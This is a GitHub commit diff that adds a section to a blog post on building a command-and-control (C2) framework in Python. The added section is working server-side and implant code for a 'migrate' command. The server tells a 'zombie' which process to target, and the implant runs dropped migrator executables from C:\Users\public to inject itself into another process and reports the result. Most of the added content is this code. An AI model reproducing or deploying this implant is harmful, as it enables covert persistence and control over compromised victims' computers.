Skip to content

Commit 4a02672

Browse files
authored
Update 2024-12-20-Create your own C2 using Python- Part 3.md
1 parent 48986b8 commit 4a02672

File tree

1 file changed

+50
-1
lines changed

1 file changed

+50
-1
lines changed

_posts/2024-12-20-Create your own C2 using Python- Part 3.md

+50-1
Original file line numberDiff line numberDiff line change
@@ -212,9 +212,58 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReser
212212
return TRUE;
213213
}
214214
```
215-
216215
- Next, open and compile the `migrator.sln` and `migrator2.sln` projects and move the compiled executables into the `c:\users\public` directory 😺
217216
217+
218+
> **Server side code**
219+
220+
```python
221+
if choice == "migrate":
222+
try:
223+
print("What's the process ID of the target process you'd like to migrate into?")
224+
print("(If in a non-admin shell, just enter any number to proceed)")
225+
procID = input(":")
226+
print("procID: ", procID)
227+
msg1 = f":migrate:{procID}\n"
228+
clientlist[selection][1].send(msg1.encode('utf-8'))
229+
#print(Fore.GREEN + "[+] Initiating migration process now!" + Fore.WHITE)
230+
migrationstatus=clientlist[selection][1].recv(1024)
231+
migrationstatus = migrationstatus.decode('UTF-8')
232+
print(migrationstatus)
233+
if "newly" in migrationstatus:
234+
return
235+
migrationstatus=clientlist[selection][1].recv(1024)
236+
migrationstatus = migrationstatus.decode('UTF-8')
237+
print(migrationstatus)
238+
time.sleep(4)
239+
except:
240+
print(Fore.RED + "[!] there was an error sending the msg to the zombie...\ncheck to see if your zombie died" + Fore.WHITE)
241+
time.sleep(2)
242+
```
243+
244+
> **Client / Implant code**
245+
246+
```python
247+
if ":migrate:" in data:
248+
try:
249+
if str(shell.IsUserAnAdmin()) == "False":
250+
client.send(b"You're not running in an elevated shell so we can't migrate into an existing process. Creating a process for you to migrate into. If all goes well you should have a shell soon in the newly created process!\n")
251+
proc = subprocess.Popen("C:/Users/public/migrator.exe", stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
252+
client.send(b"Initiating migration now!\n")
253+
procID = data.split(":")
254+
procID = procID[2]
255+
print("received procID: ", procID)
256+
proc = subprocess.Popen(["C:/Users/public/migrator2.exe", procID],
257+
stdin=subprocess.PIPE,
258+
stdout=subprocess.PIPE,
259+
stderr=subprocess.PIPE)
260+
client.send(b"returned output: \n"+proc.stdout.read()+proc.stderr.read())
261+
#client.send(b"[+] Sleeping for 7 seconds and wrapping things up! You should be migrated into another process now!\n")
262+
time.sleep(7)
263+
except:
264+
print("some error occurred...")
265+
```
266+
218267
Okay, I think that should do it! Let's go ahead and navigate into an elevated session in our Zombie list and then check out our commands. We're going to want to use the `migrate` command:
219268

220269
![image](https://github.com/user-attachments/assets/20ef95ee-f746-4603-b6c7-33eecf06afcc)

0 commit comments

Comments
 (0)